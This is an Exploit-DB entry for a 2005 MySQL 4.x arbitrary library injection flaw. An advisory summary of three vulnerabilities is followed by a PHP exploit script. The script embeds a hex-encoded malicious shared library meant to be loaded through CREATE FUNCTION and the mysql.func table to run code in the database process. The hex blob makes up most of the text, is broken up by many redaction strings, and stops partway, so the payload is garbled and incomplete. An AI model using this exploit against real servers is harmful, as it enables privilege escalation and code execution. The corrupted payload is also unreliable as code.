Exploit-DB #25210
Description: MySQL 4.x - CREATE FUNCTION mysql.func Table Arbitrary Library Injection
Type: remote
Platform: multiple
Date: 2005-03-11
Author: Stefano Di Paola

Exploit:
source: https://www.securityfocus.com/bid/12781/info
 
MySQL is reported prone to multiple vulnerabilities that can be exploited by a remote authenticated attacker. The following individual issues are reported:
 
- Insecure temporary file-creation vulnerability. Reports indicate that an attacker with 'CREATE TEMPORARY TABLE' privileges on an affected installation may leverage this vulnerability to corrupt files with the privileges of the MySQL process.
 
- Input-validation vulnerability. Remote attackers with INSERT and DELETE privileges on the 'mysql' administrative database can exploit this. Reports indicate that this issue may be leveraged to load and execute a malicious library in the context of the MySQL process.
 
- Remote arbitrary-code execution vulnerability. Reportedly, the vulnerability may be triggered by employing the 'CREATE FUNCTION' statement to manipulate functions to control sensitive data structures. This issue may be exploited to execute arbitrary code in the context of the database process.
 
These issues are reported to exist in MySQL versions prior to MySQL 4.0.24 and 4.1.10a. 

<?
/*************************************
**  Mysql CREATE FUNCTION func table arbitrary library injection
**
**  Author: Stefano Di Paola
**  Vulnerable: Mysql <= 4.0.23, 4.1.10 
**  Type of Vulnerability: Local/Remote Privileges Escalation  - input validation
**  Tested On : Mandrake 10.1 /Debian Sarge
**  Vendor Status: Notified on March 2005
**
**  Copyright 2005 Stefano Di Paola (stefano.dipaola@wisec.it)
**
**  
** Disclaimer:
**  In no event shall the author be liable for any damages 
**  whatsoever arising out of or in connection with the use 
**  or spread of this information. 
**  Any use of this information is at the user's own risk.
**
**
*************************************
*/


// this is the MySql root password.
$pass='useyoupasswordhere';

function mysql_create_db($db,$link)
{
$query="CREATE database $db;";
 return  mysql_query($query, $link) ;
  
}
// the library in little endian hex. (from NGS's Hackproofing_MySql http://www.nextgenss.com/papers/HackproofingMySQL.pdf )
$solib="0x7f454c[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0a[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]009c0700009c1700009c170000c8000000c[PII_REDACTED][PII_REDACTED]00051e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00001c[PII_REDACTED]00001f[PII_REDACTED]00001d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000b[PII_REDACTED][PII_REDACTED][PII_REDACTED]f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000000c[PII_REDACTED][PII_REDACTED][PII_REDACTED]0d[PII_REDACTED][PII_REDACTED][PII_REDACTED]0e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00a[PII_REDACTED][PII_REDACTED][PII_REDACTED]0b[PII_REDACTED][PII_REDACTED][PII_REDACTED]0c[PII_REDACTED][PII_REDACTED][PII_REDACTED]0d[PII_REDACTED]9c[PII_REDACTED]00003000e[PII_REDACTED][PII_REDACTED][PII_REDACTED]0f[PII_REDACTED]6c[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]003001a[PII_REDACTED][PII_REDACTED][PII_REDACTED]1b[PII_REDACTED]9c[PII_REDACTED]0001100f1ff[PII_REDACTED][PII_REDACTED][PII_REDACTED]002f000000d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0f1ff[PII_REDACTED][PII_REDACTED]000012000b003b[PII_REDACTED][PII_REDACTED][PII_REDACTED]5e[PII_REDACTED][PII_REDACTED]0012000a[PII_REDACTED][PII_REDACTED][PII_REDACTED]f1ff0a[PII_REDACTED][PII_REDACTED]001100f1ff850000009c[PII_REDACTED]0001000f1ff4a[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00005f44594e414d4943005f474c4f42414c5f4f[PII_REDACTED]5f5441424c455f005f5f676d6f6e5f[PII_REDACTED]5f5f005f696e6974005f66696e69005f5f6378615f66696e616c697a65005f4a765f[PII_REDACTED]746572436c[PII_REDACTED]00646f5f[PII_REDACTED]6d006c6962632e736f2e36005f[PII_REDACTED]005f5f6273735f[PII_REDACTED]005f656e6400474c4942435f322e312e3300474c4942435f322e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000731f[PII_REDACTED]008a[PII_REDACTED][PII_REDACTED]0d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000002b070000021d00008c[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]9e583ec08e845000000e8e0000000e85b010000c9c300ffb304000000ffa[PII_REDACTED]0000000ffa30c[PII_REDACTED]000000e9e0ffffffffa[PII_REDACTED]808000000e9d0ffffff[PII_REDACTED][PII_REDACTED]e553e[PII_REDACTED]b81c34f120000528b831c00000085c07402ffd0585bc9c[PII_REDACTED][PII_REDACTED][PII_REDACTED]05589e553e[PII_REDACTED]b81c31f[PII_REDACTED]bb[PII_REDACTED]75348b[PII_REDACTED]85d2752f8b8320ffffff8b1085d2741783c004898320ffffffffd28b8320ffffff8b1085d275e9c[PII_REDACTED]0018b5dfcc9c383ec0c8b831cffffff50e846ffffff83c410ebbd89f68dbc[PII_REDACTED]5589e553e[PII_REDACTED]b81c3af110000508b83fcffffff85c0740a8b[PII_REDACTED]85c0750b8b5dfcc9c38db[PII_REDACTED]3ec0c8d83fcffffff50e809ffffff83c4108b5dfcc9c3905589e583ec088b450c[PII_REDACTED]c745fc00000000eb1a83ec0c8b450c8b4008ff30e8fcffffff83c410c745fc000000008b45fcc9c390905589e55653e[PII_REDACTED]b81c32e1100008d83f0ffffff8d70fc8b40fc83f8ff740c83ee04ffd08b0683f8ff75f45b5e5dc390905589e5